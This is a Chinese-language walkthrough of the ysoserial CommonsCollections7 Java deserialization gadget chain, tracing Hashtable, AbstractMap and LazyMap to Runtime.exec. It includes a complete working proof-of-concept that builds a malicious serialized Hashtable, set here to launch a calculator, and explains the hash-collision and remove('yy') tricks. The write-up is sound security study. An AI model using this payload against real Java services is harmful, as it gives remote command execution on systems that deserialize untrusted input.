Skip to content

Latest commit

 

History

History
206 lines (159 loc) · 8.7 KB

CommonsCollections7.md

File metadata and controls

206 lines (159 loc) · 8.7 KB

CommonsCollections7利用链分析

前言

终于迎来最后一条链子CommonsCollections7,利用条件如下:

CommonsCollections 3.1 - 3.2.1
JDK版本未知限制

先看ysoserial给出的利用链

Payload method chain:

    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

可以看到从LazyMap#get()起后面的都是CommonsCollections1的内容,前面则是新知识点,也是一条寻找了其他能触发LazyMap#get()方法的链子

利用链分析

根据 gadget 先跟进Hashtable#readObject()方法源码 image-20221011152526177

其中s是我们传入的输入流,分别通过readObject()进行反序列化赋值给key以及value,接着调用reconstitutionPut()方法,继续跟进 image-20221011152715640

reconstitutionPut()方法中,调用了key.equals()方法,这里我们知道key是可控的,根据调用链看,最终是调用了AbstractMap#equals(),我们继续跟进AbstractMap类的equals()方法 image-20221011153118215

可以看见最终调用了m.get()方法,也就是如果m可控,则可以完成调用LazyMap#get()方法触发命令执行。在这里,m由传进来的参数o控制,也就是最初的key

我们回到原来的Hashtable类,既然在readObject()方法对输入流进行反序列化,那么我们就去看序列化的方法writeObject() image-20221011153622433

这里的entryStack.keyentryStack.value则是我们通过put()传入的keyvalue。因此我们如果put()方法中的keyLazyMap对象的话,最终m则是LazyMap对象。

这里还剩下一个问题,就是怎么调用到AbstractMap#equals()方法呢?

首先我们必须构造keyLazyMap对象,最后才能调用到LazyMap#get()。因此我们再回来看看LazyMapimage-20221011162909030

搜索一遍并没有发现LazyMap类有equals()方法,但最后注意到LazyMap类继承于AbstractMapDecorator类,跟进 image-20221011163120529

AbstractMapDecorator类含有equals()方法。根据前面的学习,我们会构造以下 payload

Map innerMap1 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);

所以此时的this.mapHashMap类对象,因此接下来会进入HashMap#equals() image-20221011163412678

HashMap又继承于AbstractMap类,因此最终会调用到AbstractMap#equals()方法,整条利用链就通了,妙哉。

最终 POC 为

package com.serialize;

/**
 * Created by dotast on 2022/10/4 21:55
 */

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollections7 {
    public static void main(String[] args) throws Exception {
        CommonsCollections7 commonsCollections7 = new CommonsCollections7();
        commonsCollections7.serialize();
        commonsCollections7.unserialize();
    }

    /*
     * 客户端
     * */
    public void  serialize() throws Exception{
        String cmd = "open -a Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                // new Class[0]为占位符
                new InvokerTransformer(
                        "getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}
                ),
                new InvokerTransformer(
                        "exec", new Class[]{String.class}, new Object[]{cmd}
                )
        };
        // 创建虚假的调用链
        Transformer[] fakeTransformers = new Transformer[]{};
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap1 = new HashMap<>();
        Map innerMap2 = new HashMap<>();
        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy",1);
        Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
        lazyMap2.put("zZ",1);

        Hashtable hashtable = new Hashtable<>();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        // 将真正的利用链数组设置到ChainedTransformer里面的iTransformers字段值
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        lazyMap2.remove("yy");
        FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
        // 创建并实例化对象输出流
        ObjectOutputStream out = new ObjectOutputStream(fileOutputStream);
        out.writeObject(hashtable);
    }

    /*
     * 服务端
     *  */
    public void unserialize() throws Exception{
        // 创建并实例化文件输入流
        FileInputStream fileInputStream = new FileInputStream("1.txt");
        // 创建并实例化对象输入流
        ObjectInputStream in = new ObjectInputStream(fileInputStream);
        in.readObject();
    }
}

POC 中有几个问题需要解答。

  • 为什么Hashtable需要 put 两次?

Hashtable#reconstitutionPut()方法中,第一次进入时tab内容为空,无法进入 for 循环,进而没法调用到key.equals()方法 image-20221011164109290

为了调用两次reconstitutionPut()方法,我们需要通过put()两次内容,使得 elements的值为2,进而在 for 循环里运行两次reconstitutionPut()方法 image-20221011164346546

  • 为什么lazyMap()需要yyzZ两个字符串?

还是reconstitutionPut()方法,e.hash == hash会判断上一个keyhash是否与当前keyhash相等,只有相等才能进入下一步。 image-20221011165323252

而字符串yyzZ经过hashCode()方法计算是相等的 image-20221011170202472

那么为什么这两个字符串会相等呢?因为是字符串,所以我们跟进String#hashCode()方法 image-20221011171013521

算法就这一句

h = 31 * h + val[i];

首先第一个yascii值为 121,而第一个zascii值为 122,经过计算:

a:  y->121 y-> 121*31 + 121 = 3872
b:  z->122 ?-> 122*31 + ?  = 3872  -> ? = 90

所以要想ab经过hashCode()方法计算相等,b的第二个元素就得比a小,结果为ZZascii值为 90

  • 为什么最后要remove("yy")

问题出在AbstractMap#equals()方法里,size()的值为 1,而m.size()的值为 2,所以我们需要remove掉一个使其相等。 image-20221012102519876

那么还剩一下问题,为什么是lazyMap2.remove("yy");

Hashtable#put()方法时也会调用一次entry.key.equals(key) image-20221012103923937

因此在hashtable.put(lazyMap2, 2);之后跟到AbstractMap()#equals()方法 image-20221012104621160

这里可以看到,传入LazyMap#get(key)中的 key 为yy,继续跟进LazyMap#get()方法 image-20221012104834141

最后因为lazyMap2中并没有yy这个key,因此会执行一个map.put("yy","yy")的操作添加,所以在 POC 中,我们最后要把lazyMap2yy给删除掉。